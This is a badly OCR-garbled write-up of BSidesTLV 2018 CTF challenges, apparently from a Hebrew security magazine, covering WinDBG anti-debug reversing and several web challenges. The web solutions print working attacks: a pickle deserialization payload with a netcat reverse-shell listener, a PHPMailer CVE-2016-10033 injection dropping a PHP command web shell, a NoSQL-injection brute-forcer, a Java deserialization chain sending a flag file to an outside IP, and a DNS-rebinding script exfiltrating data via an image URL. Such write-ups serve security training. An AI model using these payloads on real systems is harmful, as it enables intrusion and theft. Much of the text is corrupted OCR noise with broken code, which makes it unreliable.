-1 ~ Bx36)
- :aa) " BxEG)
+ 32) ~ 8x39)
-1

“ BxB1)
if { !memcmp({loStatusPtr, used_in_memcmp, 8x13uiG4) }

{{void { fastcall =) {char =, _BYTE =,

memset{{char =}&flag + 1, 8, Bx1BuiG4):;

qmemcpy (&1lag, Bsecret param, @x19uiGa);

decode_flag_and_format_then_print{{ intca}&flag}:

if { used_in_memcmp[1] == @x47 }
run_in_debugger {{ intG4)qword_ 1408051108, { int64}8scanf output);

char =)}sscanf) (Bscanf output, arr3,

T T (0T (T T (T ({_BYTE =)} loStatusPtr + i)
+ 68

- 54)

* ex7F1)

8secret_paranm);

0x1E)

W S L s {4 .. "

x  flags: 1
" -1 X s | " s

"Your Flagis: %s - ¢ x . 1

"Il s T

s format-stringd J * s

X SX ,4X] «

? s 4

s _ "decode_flag and_format_then_print" ,

S [

~ ~

format =
vE = 35;
vh = 3;
v = 18;
vig 199;
v13 72;
vis 218;
vig 225;
vE = B4;
v12 = 36;
vi = 59;
for { i = 8: j < 0x13; ++j )

*({_BYTE <)&fornat + j) = N

| + {7

Bx2FAF51087FFFAB5164;

(S T

S .
007 0T .
LS R S
+ (07
+

+1
- 86) 7 Bx34)
-1
- 17 .
. - i1} T ex1B)
- 1) " ex23)
+ 1) 7 exce)
- 113))
-1
- 10))
+ 1) © 0x3F)
+ a9
-
+ 83))
+ 81)):

return {{ int64 ( fastcall =){ int6a =, int64))print) (Rformat, flag);

(07 (0 7 0 + (07 —=((BYTE x)&format + 1))} - 29))
+ 12)})

WIinDBG 1 _ ! x «

qox %

¥4

BSidesTLV 2018-CTF 1 ~» ¥ i x .,
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,save_kddll_then_return_print , s " x < . s

~ A~ ~ ~

run_in_debugger 4« ~» « S L S 4 o«

|?1| run_in:deﬁugggr{[_intE-‘l}qwnrd_ml]ﬂﬂEﬂDﬂ, {_intEﬂ}Ruutput};|

-Wiflol-s " 14 T asExd " o x Yy .ovs O WIinDBGe 1S . ¥ ¥ S 4. six s

P(x " 0 _ hypérvisdrs s ), 4L X B4 xse s % s 4s ] |,
: S +run”in_debugger ! x .

18| v2 = -1i64;

11 w8 = al;

12| w3 = -1i64;

12| do

14 ++vi;

15| while { ={ BYTE =)}{v3 + al) }:

16| v7f = v3;

17| vb6 = to_run:;

18| do

19 ++u2;

20| while { ={ BYTE =)}{v2 + to run} };

21 vh = v2;

22| return _debugbreak{{ int6a)}Bv7, { int64)Buv5, 5u}):
23 [}

:_debugbreak’ x

result = a3:;

__asm { int 2Dh; Windows NT - debugging zervicesz: eax = type }
__debugbreak():

return result;

1=y == R = I |

}

DO x L] L% - . fimontags | XSS 4. XL S X X7 I§ 0 8 S X sy

~

as /e fuckthat PROCESSOR_ARCHITECTURE; .block
{.if($spat(@"${fuckthat}","x86")==0) { .writemem C: \ Windows Temp kd.dIl %p
1?7%x;!C: \ Windows Temp kd.dll.aaaa %p;g} .else {.writemem C: \ Windows Te
mp kd.dll %p 1?%x;!C: \ Windows Temp kd.dll.aaaa %p;g}}

x\xsoxx_,\si*d‘_d”,_ >i><>,<,“xl>x s x Wt Al X OS5 x o5, "

~ ~ ~1 A~

b s ot s X 1A e ST . 9w X 2% xored_arr_1- x s

F1 o . X ’used_in_memcmp - X X iolXss x4 @aaas 4 v« T ¥ {Sa X 'S

Icheck_something_then_print_flag4 « ~ " x |~
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https://recon.cx/2010/speakers.html#debugger
http://j00ru.vexillium.org/?p=405

aTechnologic

Fe ol o 5%, lised ih_mememp 4 - ises " _g@aaas 1 .« « T4 Ss XY ]

a ~

P, DX o fs 4= 1 Bruteforce © x| < secrét_param: -~ s". x T U M4 X7 4 s

A >~ ~ a

A4 desisee x4 Y ¥

~

XX sl ) oLl s 197 ysed_in_memempe - X X f ol Saaaa o~ , 1 4 h T

v 4 . S X xsécret_param: ~~ C 1 Ll X, B " D Tsjwx s X wded _in_memcmp

DXX P K Dw _ )¥ 7 .S Becret_pararh « « ™1 X x { Ikd.dl bbbbs { . < " x s

DO ee(d A T s T Xy

S x L, s 1% LS

Please continue from here, the pointer to your flag is 00007ffc3de56010
remember to look at the bigger picture :)

DX ox D sSIsKx 0 shsi ., 48§55 kddb bbbbs 4 « < 0 X %4 1«

~ > a v o>

L T X . duimps X7 s 7 x WinDBGL _~ x . kdidf Xx % . 00D07ffc3de56010

X © & X x gyl xise | Tdumps .~ Y X1 4{l WnDBG! x 1: "WinDBG

o

. WinDBGception
TR B TR TN I | D S SN I
s , ¢ X S « , XS FOIDAY X . X X s Xs, s s YT
. text:88098D004 loc_8@898D04: : CODF XRFF: sunh fRAar912+5A3Fc T
. text:88098D04 vimaddsub132ps xmm8, =xmm1, xmmword ptr cs:[edi+tesi=4+8183428h]
. text:B8098D0F lea ebx, [ecxtecx]
. text:98098D12 add ebx, ecx
S os e o084 ey oA vimMaddsuhl32ps xmmO, xmml L . o XY 4 Y . ]«
IIDA v basieblocks , ~» ¥ 1 x X x "X
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https://media.defcon.org/DEF%20CON%2023/DEF%20CON%2023%20presentations/DEFCON-23-Chris-Domas-REpsych.pdf

- ”
~ ¥ X 10000 ~X %X H., ¥ 4.5 DA, S X Xx <5 N N 1.1~
- ANV N A ~
flags -~ L X«
=
.- - s =il il . vud
. =
" : el L - L]
= T in i B i I | T -
L LI I | il
e _1‘—_ e e III?-'JII L T b b -
= e Il = =
ru S - =ri - Tl e L] —
{l
== I =
== =T =
- = T
o = =iy s - —

—a A i B W W H Hr T ey L oy - L1
= LI LI - | Pl Ll
=i - | sy
= [] TITLT] - 1T -
- L L L] Tl i L1

n - o R a3 —— =i
= iy
==
An = =2
am e
o e Ty
o u
a a l__._ el
il L1l — ]
- T | |
Snmmes =2
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Technologic

RedirectMe (Web)

Description:
https://www.youtube.com/watch?v=hGlyFc79BUE

http://one.challenges.bsidestlv.com:8081/

Made byTomer Zaitand Nimrod Levy

” X X
L, PR S I b L e XOSHETP X x T s Hay o X x o L Bup, | -
Repeater + » « 7 s o x I x ox O HFTP @ % x &
= x
boloerld T g os gt XLy Burp®
# 4| Host | Method | URL | Params | Edited |Status | Length
1 http:/fone.challenges.bsidestl... GET ! 0 U 302 456
2 http:/fone.challenges.bsidestl... GET Jindex.html 0 U 302 444
3 http:/fone.challenges.bsidestl... GET /1.html O O 302 564
4 http:/fone.challenges.bsidestl... GET /L.html U U 302 564
5 http://one.challenges.bsidestl... GET J2.html J J 302 564
6 http:ffone.challenges.bsidestl... GET /3.html )] )] 302 564
7 http:f/one.challenges.bsidestl... GET /4.html U U 302 564
8 http://one.challenges.bsidestl... GET /5.html 0 0 302 564
9 http:/fone.challenges.bsidestl... GET /6.html U U 302 564
10 http:f/one.challenges.bsidestl... GET J7.html U U 302 564
11 http:/fone.challenges.bsidestl... GET /8.html O O 302 564
12 http:/fone.challenges.bsidestl... GET /9.html U U 302 567
13 http://one.challenges.bsidestl... GET J10.html J J 302 567
14 http:ffone.challenges.bsidestl... GET /11.html )] )] 302 567
15 http:f/one.challenges.bsidestl... GET /12.html U U 302 567
16 http://one.challenges.bsidestl... GET /13.html 0 0 302 567
17 http:/fone.challenges.bsidestl... GET /14 html U U 302 567
18 http:f/one.challenges.bsidestl... GET /15.html U U 302 567
19 http:/fone.challenges.bsidestl... GET /16.html O O 302 567
20 http:/fone.challenges.bsidestl... GET J17.html U U 302 567
21 http://one.challenges.bsidestl... GET /18.html J J 302 567
22 http:ffone.challenges.bsidestl... GET /18.html )] )] 302 458
23 http:f/one.challenges.bsidestl... GET /L.html U U 302 458
24 http://one.challenges.bsidestl... GET J1.html 0 0 302 458
25 http:/fone.challenges.bsidestl... GET /L.html ] ] 302 458
26 http:f/one.challenges.bsidestl... GET JL.html U U 302 458
27 http:/fone.challenges.bsidestl... GET /1.html O O 302 458
28 http:/fone.challenges.bsidestl... GET /L.html U U 302 458
29 http://one.challenges.bsidestl... GET J1.html J J 302 458
30 http:ffone.challenges.bsidestl... GET /1.html ) O 302 458
31 |http:fjone.challenges.bsidestl... | GET f1.html UJ UJ 302 458

-4 1w fX jeditectss T I, 1 48! s,0 % ! X4 . v redirectss * s

‘I L X “” A

:19.htmke redirects _ xs xwxX™ 1% 71 8 s L IBRmI. | B S WS X X VTR E

HTTP/1.1 302 FOUND

Server: gunicorn/19.8.1

Date: Sun, 24 Jun 2018 17:23:23 GMT

Connection: close

Content-Type: text/html; charset=utf-8

Content-Length: 223

Locatlon: http://one.challenges.bsidestlv.com:8081/19. html

Vary: Cookie

Set-Cookie: session=eyljb3vudCIBeyIgYiI6IklUaz0ifX0.DhFlCw,plf-1IwENEIlmpUCZSPeSNNCyso; HttpOnly: Path=/

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN"=>

<title=Redirecting...</title=

<hl>Redirecting...</hl>

<p>You should be redirected automatically to target URL: <a href="/19.html">/19.html</a>. If not click

the link.
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https://www.youtube.com/watch?v=hGlyFc79BUE
http://one.challenges.bsidestlv.com:8081/

Technologic

g < Xseox "s” 0 7" 4 % Xxgession: ~, 1 L-Trepeater: x |« S « X XIsT (07

< a

:19.html

GET /19.html HTTP/1.1

Host: one.challenges.bsidestlv.com:8081

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (X11:; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/64.0.3282.186 Safari/537.36

Accept:

text/himl,application/xhtml+xml, application/xml;q=0.9,1mage/webp,image/apng, */*;q=0
.8

Accept-Encoding: gzip, deflate

Accept-Language: en-US,en;q=0.9

Cookie: session=ey]]b3VudCIGeyIgYiI6IklUaz0ifx0.DhFliw.1LVLmlz8swS2YQoeXRpndwmcDU
Connection: close

:20.htmke redirecte > ) |

HTTP/1.1 302 FOUND

Server: gunicorn/19.8.1

Date: Sun, 24 Jun 2018 17:25:45 GMT

Connection: close

Content-Type: text/html: charset=utf-8

Content-Length: 223

Location: http://one.challenges.bsidestlv.com:8081/20.html

Wary: Cookle

Set-Cookie: sesslon=eyl]b3VudCIGeyIgY¥iI6Ik1qQTOLTXA.DhFImG. wSKL-NWpxduebv]GxZYelNXRTmdk;
HttpOnly: Path=/

<IDOCTYPE HTML PUBLIC “-//W3C//DTD HTML 3.2 Final//EN"=>

<title=Redirecting...</title=

<hl=Redirecting...</hl=

<p>You should be redirected automatically to target URL: <a href="/20.html">/20.html</a>.
If not click the link.

I s k %redirectss _ I x. 1 «20.html: «_ « * 7 x 1 sl{X ¥ x7 s 7

>

The flag is here! check the response :)

BurpXto. o ss X x o Ileg 4 W LT x

~ ~

HTTP/1.1 382 FOUND

Server: gunicorn/19.8.1

Date: Sun, 24 Jun 2013 17:30:08 GMT
Connection: close

Content-Type: text/html; charset=utf-8
Content-Length: 39

FLAG: BSidesTLV{DontFO@rgetR3spOns3H34d3r}
Vary: Cookle

The flag is here! check the response :)
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IH8emacs (Web)

Description

| What sucks so much is that i can never find the backup i am lookiXg for |
http://one.challenges.bsidestlv.com:8443/
'5 Made by Nimrod Levy and Tomer Za':tit

X .
X emdes s Td ks AT HXNA N LK T X T 11 <4, s T
(=) s b A X o xsd ) XX s L oemacs] L XY dy ¥ty {0
s, s D Y X Fx X 4% w . ,
<I'--  <a href="./Jadministration">Login to administration page</a> —> ’
P24 47 -xs 47 8" 14 X
XL :x‘_wxvx-|“VH'|',j|'PL\Zx,\ 1., XS -|\x>f”va L, XS ,,‘_X:VS « 79 L L
X v .5 4" " x 38y X x ooos o Adinipigtrationd.htpasswtd* " 7 1 X+
Px v@~ Xxemacs 1 . 41X X4 Y 44« osxOsp v XSx (Y ppXeTsp Xl
bsidestlv:$apr1$1nKU7Tz4$2bEAIGTIz/0skDAE2ENWOO \
1%« stesixdy s hRady X X oxv( s 48 XK s e U
‘«, -A"pass_hash . * x « * s johnsthe fipper-18 < "y x 4 X x X4y X
= x

revirtux@revirtux: ~ftmp

ﬂag's‘- L%'\’xl,’,g(q-l -I X XX . S . '_s '_A Van

v M~ o~ ov ~ v v o~ v~

BSidesTLV{DOntFOrg3tB4ckupF1I3s}
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http://one.challenges.bsidestlv.com:8443/
https://en.wikipedia.org/wiki/Basic_access_authentication
https://en.wikipedia.org/wiki/Basic_access_authentication
https://en.wikipedia.org/wiki/Basic_access_authentication
https://en.wikipedia.org/wiki/Basic_access_authentication
https://en.wikipedia.org/wiki/Basic_access_authentication
https://en.wikipedia.org/wiki/Basic_access_authentication
https://en.wikipedia.org/wiki/Basic_access_authentication
https://en.wikipedia.org/wiki/Basic_access_authentication
https://en.wikipedia.org/wiki/Basic_access_authentication
https://en.wikipedia.org/wiki/Basic_access_authentication
https://en.wikipedia.org/wiki/Basic_access_authentication
https://en.wikipedia.org/wiki/Basic_access_authentication
https://en.wikipedia.org/wiki/Basic_access_authentication
https://en.wikipedia.org/wiki/Basic_access_authentication
https://en.wikipedia.org/wiki/Basic_access_authentication
https://en.wikipedia.org/wiki/Basic_access_authentication
https://en.wikipedia.org/wiki/Basic_access_authentication

Technologic

Creative Agency (Web)

Description:

Beautiful mirror, mirror on the wall, who's the prettiest of them allRe flag is in
/home/bsidestlv/flag.txt

http://two.challenges.bsidestlv.com:3333

Made by Tomer Zait and Nimrod Levy

PHP 1 4.« X x P04 0 x LT Lo X e (s

[YET Co ZElE ADOVA C Y€ |

SEETIE SRR 1,«4s 14,5 flagixt [ EAt i X4 L8 08% XX

_— ~

1 . X] X .
L A BN

| img2file= NKNE D Ma Mdis B C GSEN s |

‘ Error: ENOENT: no such file or directory, stat ‘'/app/home/bsidestlv/flag.txt' |

Loyslh Do TN . 1. s { «

| /img?file= NNE D Me MDs DECGoIYE € |

‘ BSidesTLV{l_Like_FlipFlops_And_I_Cannot_Lie} |
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http://two.challenges.bsidestlv.com:3333/
http://upsidedown.info/nwodedispu.pl
http://upsidedown.info/nwodedispu.pl
http://upsidedown.info/nwodedispu.pl
http://upsidedown.info/nwodedispu.pl
http://upsidedown.info/nwodedispu.pl
http://upsidedown.info/nwodedispu.pl
http://upsidedown.info/nwodedispu.pl
http://upsidedown.info/nwodedispu.pl
http://upsidedown.info/nwodedispu.pl

LQY tAO1ftS wAOltl

Description:
Rick leaves a secret backdoor in order to control all the people staying at Anatomy; park.
Do you think you can discover and exploitibrder to read the flag?
http://two.challenges.bsidestlv.com:8088/

Made by Nimrod Levy and Tomer Zait

s 1~ , Pickle. {7sx ‘pitkle, s 4~ > " Ly ioos s 1 A ]
Pxw o4 s T 0477 TR E A vl st xpe Mo P  0 s S ] eq s
s s ¢ x- "5 x~2 s 4. )“Xv XA | 1V L s {4 .94 LA, 5
Zx">‘xv S ., X « | L ZX<.‘x,,'|v ,,-|C'|vx '||_x~~ 1)1,,“V S X X
x X PHP |1 *x $14_d" x

| /getMembers.html?visitor=<input> |

IstatusMembers.html?data=<the_string> |

Tdus:  TLoXx o ods 4] ox ol s vl B, ST xS 9x 1 s L
s.,ox X 14 s paseBdd X p Xy . b AL Xpickle 4L s A S 4L q.

2PN

Coe I . XS R o Mo s b e s Reise X X ys sl

X lx o - 4L opidkle 4T T X0 TG, s L Tx o, [ x s

import

import  zlib

import  pickle
import  base64
import  subprocess

class (object ):
def (self ):
return  ( subprocess . Popen, (

(

), 0, None, None, None, None, None, False , True)))

shellcode = pickle . dumps(Exploit ())
print (base64 . b64encode (zlib . compress ( shellcode )))

nc -l -p XXXX : sl x« s petcat 17:4,¢"« 1 x 7 |Ps o, x Isxxgos Cos 1~

flag.txtL cat - *x _rootsx - {4 4«4 : L 1 ¥Yreverse shelkx”” 1« {s  x ¥ " { XX

BSidesTLV{ICOntrOlI3dP1ckl3R1ck!}
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Technolooi

ContactUs (Web)

Description:
Mailing libraries are dangerous if they are not written with secure methodologies Do youithink

you can get a shell and read the flag?
http://two.challenges.bsidestlv.com:8080/

Made by Nimrod Levyand Tomer Zait

:ContactUs ~» x € ~ s« ., " ., 1 «s |

CONTACTUS

C(ONTACT INFORMATION

O Monday - Friday: 9:30 AM to 6:30 PM Name

Address: 123 Some Street, California, US, CP 123

Email
Phone: (01) 999-1235
Fax: (01) 999-1234 Message

Email: info@domain.com

Captcha

SUBMIT

> Xs o ! ghprhailexploit . , 1" , ~ ¥ I+ s X«

/f attacker's input coming from untrusted source such as %_GET , §_POST etc.
/{ For example from a Contact form

$email_from = '"attacker\™ -oQ/ftmp/ -X/var/wew/cache/phpcode.php some"@email.com’;
$msg_body = "<?php phpinfol); ?>";
LR

1 xphp backdoor + msg_bodys _ 1 , s _ x| siy «s* 77

D;
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http://two.challenges.bsidestlv.com:8080/
https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html

Technolooi

"attacker\" -oQ/tmp/ -X/var/www/cache/phpcode.php some"@email.com

<?php echo "<pre>"; system($_REQUEST['cmd']): echo "</pre>"; die; ?>

LT x s oA A AT e v o xs o xS

text-L email, s | s L R B B

You are so close! please change the backdoor location to;
Ivarfwww/htmlfcache/eaal006682e5.php SUBMIT

L X L y"” ’sxxy:s - X X 1L ” x "o

http://two.challenges.bsidestlv.com:8080/cache/eaa700668ae5.php?cmd=cat%20/flag.txt

flags -~ ~ L X .

| BSidesTLV{K33pYO0urM4il3rFullyP4tch3D!} |
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NoSocket (Web)

Description:
The flag is the password for "admin" uskr you think you can get it? :)
http://two.challenges.bsidestlv.com:8030/login

Made byNimrod Levylg

Please login

var Wws;
var url = + location . hostnhame +

function openSocket () {
ws = new WebSocket (url );
ws. binaryType =

.onopen = function () {
console . log ( );

.onclose = function () {
console . log ( );

.onmessage = function (e) {
if (e.data instanceof ArrayBuffer ) {
log (decodeCharCode (new Uint8Array (e. data )));
} else {
log (e. data );
}

.onerror = function () {

log ( );
closeSocket ();

BSidesTLV 2018-CTF 1 ~» ¥ i x .,
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http://two.challenges.bsidestlv.com:8030/login

}

function clo

log (
ws. close

}

function [o]o]

Technologic

seSocket () {

);
0

in (O {

var data = {};

data [
data [

] = document . getElementByld (
] = document . getElementByld (

val = JSON stringify (data );

ws. send (val );

function decodeCharCode (data ) {

var res

for (var i =0, len = data.length ; i < len; i++) {

var
res

}

return

}

value = data [i];
+= String . fromCharCode (value );

res ;

function log (message) ({
alert (message)

}

openSocket ()

11~ -+ ws:fitwlochallerges.bsidestlv.com:8000/login WebSocket = 1 x | SR RN
json 1 _ . x * lx.,X
s o box o s DY L X ]
{ : + username + W
password + }
L1 s 7 x T INbSQHrjettion * x . SCHmjectionr. s x I s s L
« 4 s , ] , 1 1"Failed" - & 3% Jpiesis, s L s X x s X 5
T
BSidesTLV 2018-CTF 1 ~ ¥ % .,
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X €
import  websocket
import  string
ws = websocket . WebSocket ( subprotocols
ws. connect (
problem = ["\" "™ ["\\' ' )
password =
while  True :
print ( . format ( password ))
for ¢ in map(chr , range (0x21, OX7F)):
if ¢ in problem :
continue
data = (
+password +c+
print (data )
ws. send ( data )
resp = ws.recv (). decode ()
if ( not in resp ):
print (resp )
password +=chr (ord (c)-1)
break
if password [ - 1]
break
print  ( . format ( password ))
flag-s B LX< EE R AN Lo

‘ BSidesTLV{0rOn3Equ4I0n3!}
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IAmBrute (Web)

Description:

| just forgot my wallet password can you remind meBy the way, our IT manager stories
| sensitiveinformation... can you get the flag from his account?

Made by Nimrod Levy and Tomer Za':tit

°

-4 s 1 Idpvault' 4

N

,¢va'|x,_-|-|vs>C”v

= x ., .

Te7 4 1§

N XL“A:S'I " X:~X\. Ll o~

TIXXs o d XX s " 44 {Passwords T L X s 4 XX ] X TSy L Y X Y X
2R SR fl | _vS,. S q vx><s | ~¢“s>1: ”
B R L T A S P
Marina, | * X «+s4ssp  4-48 418 4 | A. oSX4dL x s,
(hash:salt:iterations:dater 1 ~ 1 _ X B4sT 42 ~s x . 2
XX48 :l-v'l ” 'i 'I}-”'IA"V-ISV WA))s L"Ns . _I LN X: _ry 'i _I nSA_Iv_iSHS(N.IS_I ~| x“v ”

"o

XXX ¥ L S {Tx D os o 4 kXL A

. ¢ JH8emacs Y - x X.drofile.js

LA S g L x Dk LMatinas | . 108 * wrdckyou” X L T 4
XU E ] ws. s 4l as 4 "7 0% s * {password -
Serrdn lernaneu + —~ 1Password is read-only
1 iterns sorted by Title = (2)) Add a 1Password account or
7 license to edit or save. -
T
Tickets system —
() marina ?‘ Tickets system
marina
Marina1987! % A [0
notes  httpy//challenges.bsidestlv.com:5084/
index.php
000000 n Web form details -
X"],_XB _Is_’x V'I, n XuL_IX!YH_IX
http://challenges.bsidestlv.com:8084/index.php
BSidesTLV 2018-CTF 1 ~» ¥ i x ., .
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Technologic

I A I S T

SUPPORT CENTER Guest s TS 1

Support Ticket System

4* Support Center Home [.3 Open a New Ticket [4 Check Ticket Status

Sign in to admin

To better serve you, we encourage our Clients to register for an account.

Email or Userame Not yet registered? Create an account

Sign In
Forgot My Password

If this is your first time contacting us or you've lost the ticket number, please open a new ticket

x A v|p.|: E3NaER IR N N I XSy, S XS"I |,

~ ~

| @ You are not authorized! only users from 192.168.20.1/24 can connect to the system! |

s ‘Header. xXforwardedfor" : Héaders HTTP - SRS T SV TR RIS S B

< v ~ < v LIRS

’ >

P AL H LN K, X T i xS s ] AR 0 q .

pov X IRss s sy s XS] { <8 X ~192168.20.1x:forwardedfor » | « $ s

v

X "l g o X

Ly liso g ATs X x b4 0 Teed T4 7 %7

s U P PO RT c E NTE R Marina Smith | Tickets (2) - Sign Out

Support Ticket System

£ Support Center Home [} Open a New Ticket  [J] Tickets (2)

< Tickets [ Open (0) K Closed (2)

Showing 2 of 2 Tickets

Ticket # Create Date Status Subject Department
I 396598 | 03/26/01 Closed The keyboard stopped working or can't be ... | Support

[ 549983 | 03/26/18 Closed Problem with the payment system Support
Page: [1]

BSidesTLV 2018-CTF {1 ~ ¥ i x . @
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Z The keyboard stopped working or can’t be paired #396598

& Print | | Edit

Basic Ticket Information
Ticket Status: Closed

User Information

Name: Marina Smith
Department: Support Email: marina@hut.com
Create Date: 03/26/01 Phone: 54111111 x972

@ Marina Smith posted 03/26/01 21:10:48

Hi HD team!

| have a problem with the keyboard, it getting disconnect every 10 minutes, i don't know what to do! can you help
me?

Best

Marina.

el
George Stones posted 03/26/01 23:10:49

¢!
If Microsoft Modern Keyboard with Fingerprint ID isn't working, stops responding when you're typing, or doesn't

appear in the list of available Bluetooth devices when you pair it, or if you see an error message during pairing,

George Stones

v TV nimn oman nImxN [Arn Y
PGEORGE NN 121N NN OND

TININ WP 19 NYYW ,.0MaN DY NYN NN DN N '

NITIN

NN NWP1 12 N9 0730 0V (NwA N nn

1991 R, n'bb:\vm-pul
5’11-|’/SWLXJ,¥\-~|_V:~ |_S~J_y~ :,’~‘George‘|,1")fftsx"\\|—v-|~”x|
AT A s ) fiends-! 1T x s X xoss 4 C L g ] X X T KK
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Support Ticket System

Technologic

£} Support Center Home [} Open a New Ticket

[=) Check Ticket Status

Forgot My Password

Enter your username, birthday and answer the question
below

Username:
george

Birthday:
DD/MM/1991

Secret question:

friends

Get Password

Enter your username, birthday and your secret question in the form below and press the Get Password to get
your password.

177x " 86BE X _ 4] xT I

Sep 4 XWX NE s 4L b x ]
S Sx D O7/A1/1991 X IsTESS| 4 .o v L0 X WATX 1 4 X W
Congratulation! your password is: GeorgeTheCrew!
:IY':YE~=XX~TL]”
SU PPO RT CE NTE R George Stones | Tickets (1) - Sign Out
Support Ticket System
£* Support Center Home -3 Open a New Ticket (=] Tickets (1)
< Authentication problems!! #513374 &Print| | Edit
Basic Ticket Information User Information
Ticket Status: Closed Name: George Stones
Department: Support Email: george@hut.com
Create Date: 03/27/18 Phone: 54111111 x972
=
s g  George Stones posted 03/26/18 20:10:48
BSidesTLV{Brut3Th3Waorld}
William Shakespeare posted 03/26/18 20:11:48 @
Thanks!!
) Closed by george with status of Closed 03/26/18 21:18:10
I 7 ULyl s
BSidesTLV{Brut3Th3wWO0rld'}
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PimpMyRide (Web)

Description:
'haD A KIF@S tAYLlaawiR Sary yGiON Sig (Baragejiliiost one.| I
challenges.bsidestlv.coRlease hack their server anead the file /flag.txt.

| Made by Gal Goldstein

X .,
L XL A R Txo o1 x "oy oo dar ST X e X T X
=_Ixs.t<~.'"|vf 1L v « X L c'xx“ X”L ”v~.11| X:_]XX'I ”:XXJ'iV” X=va-| . 'iLv~X5
lX“Lx:“\-"X I__I+111”_In+‘_3 I—'ILJS |'|1_-|£|)_(‘:5v‘_.|>’<,x$‘__|\:l_$:’3()\(
., X s
FodoXox 1 o x| s I X x " I x . s
( I 4+« 4 ) . 8 Lo I x (1s oY X " .

X 1 X X s 2 <L Iox

(RemoteLogger - * | ~ _«~*) < 1x. _ * 1 _ o +4¥yx38 1. _4 .

-lLX -IX‘LS X X S _IX X . S4| X -|X“|_

| % x

public

try {

xception) {}catch (IOException localIOException) {}

x "L L1 x " ipAddiesst flagrs 1 demtry i1l -~ . % 4L 1AL x s

> ~ o

:S-I“‘”X S N =.JX'I1S'ILS‘-LYL”YI:S-‘::\-J”T(L\L-I

X s x 1 - Employee, . - ._i{Manbger s ~ 1L 1 dowokk s {4 . " x X s, X S

~ v ~
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Garage:
Employee - >(Manager):
closeMessageFile
logger - >(RemotelLogger):
ipAddress
port
writeToLog(entry) - > sending the flag
o017 T 1 . s o deserializes - X" ¢ _?enfry¥. *s 1 4 L

private void readObject(
in.defaultReadObject()

geFile = new
FilelInp f w FileInpu
byte[] E ew byte[(int)closel ageFile.length()];
fis.read(data);

# String(data, "UTF-8");

(I0OException locallOException) {}

public void connectToServer() throws UnknownHostException, IOException, Interrupted
Garage garage = new Garage();
t i<4; i++){
garagk.addCarrwew Ca ring.valueOf(1i),String.value0f(1i),String.value0f(1i)));

1
J

Manager man = new Manager();
setCloseMessageFile("/flag.txt");
. logger = new RemotelLogger("5.29.249.100",1337);
setManager(man);
garageByteArray = garage.toByteArray();

20utp tream fos =1 FileOutputStream('"garage");

s.write(g
fos.close();

1ew GarageClient(remoteAddr, port);
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Mainr* r 4~ 1 s . v o w11
XS X x x4 T X Ji " TS 4 14
S G T I S D ERIE B S B S R A
(RemoteLogge? + )~ _ 1x Ld 7 x(ls¢"si s x2
O A S -

LA YT X LK™ x4

BSidesTLV{l_Am_lInspector_Gadget}
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Can you bypass the SOP? (Web)

Description:

Hi Agent!lf you can see this challenge, you were probably chosen by our secret organization in

order to catch thdlluminati membersOur intelligence analysts team conducted some research
about criminals that operate inside thkuminati team and have the following information:
1. The llluminati team will NEVER open external files

2. The llluminati team is arrogant andlinever change default passwords

By the way, one of our agents has infiltrated to the llluminati gragé result, we can produce; a
possibility that one member of the Illluminati team will open a link that will send from our agent.
So according to thesfacts, your mission is to take over the internal application controlled; by
llluminati team to get the flagThe internal application locatesh:
http://192.168.20.100:8080/login

BOT URIhttp://two.challenges.bsidestlv.com:8133/index.html

Rules:
1. The bot will stay on your page for 3 minutes.
2. your page must return status code: 200

Yours,
N
Made byNimrod Levy
Sk
DNS:>“:VX-~:VX3‘~|'|”~V|- X X PR B v xS X "o Axl-|x
41 ¢ 1 Rebindifg
_ s http://fexample.com:8133/index.html, ! + _ ¥ xxI"( 0 4 X 70« 0ox 1S

XOTPL X x s [y L lexamiple.com X X S{SDNS oL AT X

L, ¥ HY S X Y Javaseript | 4 s XHEx s 1R

~

http://example.com:8133/login

1 lexample.com: «+ {4 | 4 "4, M dIximgy ‘L _sres 4~ ¥ 7 W s x ¥ O] x X

A127.0.00 4 XX Ry 4 ¢ X X

~ ~

'~"+|Sx§¢fx'|.vin§g-5:1YS”L|-ISI/5*"|_1::Sn X1 0§ | x i X &x™3

et o4+ d 281 . SJavascript! x xS Xx X .4 1 ~Same Origin Policy
s H. B JRs DX x DiIx o, x s ¥ % 1{* 4w s = X xprotocol:domain:port
.example.com 1 4 X Bomains {1,. 1 X

1x% 1 4 ohmls "X ox SL . x4 s L s . POEB*s_S

~ v ~ > ~

.adminfadmin + s - x ., X 7. ss 4 1., |Jogin X IGET 4 «« % s & ] s *
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http://two.challenges.bsidestlv.com:8133/index.html
http://example.com:8133/index.html
http://example.com:8133/login
https://github.com/mpgn/ByP-SOP
https://github.com/mpgn/ByP-SOP

Technologic

dogin _ POST: _ «* 14 1s Ax>*> 4

<html>
<head>

</head>
<body>
<h2>Bypass Some Origin Policy clean script </h2>
<p>Pretty things that makes your victim stays for few minutes...
<script
src ="https://cdnjs.cloudflare.com/ajax/libs/jquery/2.2.1/jquery.min.js"
</script>
<script type ="text/javascript" ps
setTimeout ( function SOP_bypass() {
console.log (
$. post (

{

username :

password :

submit :

}

, function (data) {

var image = new Image ();
image.src = +btoa (data );

D
1, 90000)
</script>
</body>
</html>

s X x 1sflagse L:1+] L X« 'base64s” Li*q 17 7

BSidesTLV{C4nYOuR3b1n3dMe?}
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Technologic

Gaming Store (Web)

Description:
| need your helpEvil attackers are scraping my website and stealing my custoPlegse make
them pay for their crimes and hack theirhave heard theyse a special headless browser to get

the information they needTake this editor account and do whatever you can to make them
suffer!

Username: bsidestlv
Password: 3d1tOr
URLhttp://two.challenges.bsidestlv.com:3000

Made byTomer Zait

Need for Speed riva

I[lflf% $20.00

This is my description

"t X x s Do XSSU ]S 1 d KSSSIE did .o xS T

X x Do e XL ¥ s 44 4T wwsénceding ox T 1x 47 (x X

L X rescaping r S L S L. S &gt RIG™ ~ X L. X s bs T x x|
DX qJy o 1 x oL {11 ] X | « S

LU ex 4 0 X o X .U X oL

~ v o~ ! ~

‘ngapp + _ * - 1bodys rangular.js

<!-- Single page application preparation -->
<script src="/js/angular.min.js"></script>

<!--[if 1t IE 9]>
<script src="/js/ie-support/htmlS.js"></script>
<script src="/js/ie-support/respond.js"></script>

<![endif]-->
</head>
body ng-app="">
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www.DigitalWhisper.co.il
50 2018 1 xQ7xTvx { L ¥

L o~ d4s x| serapihg S xx x sx g J{ 1XxXx %

y v W


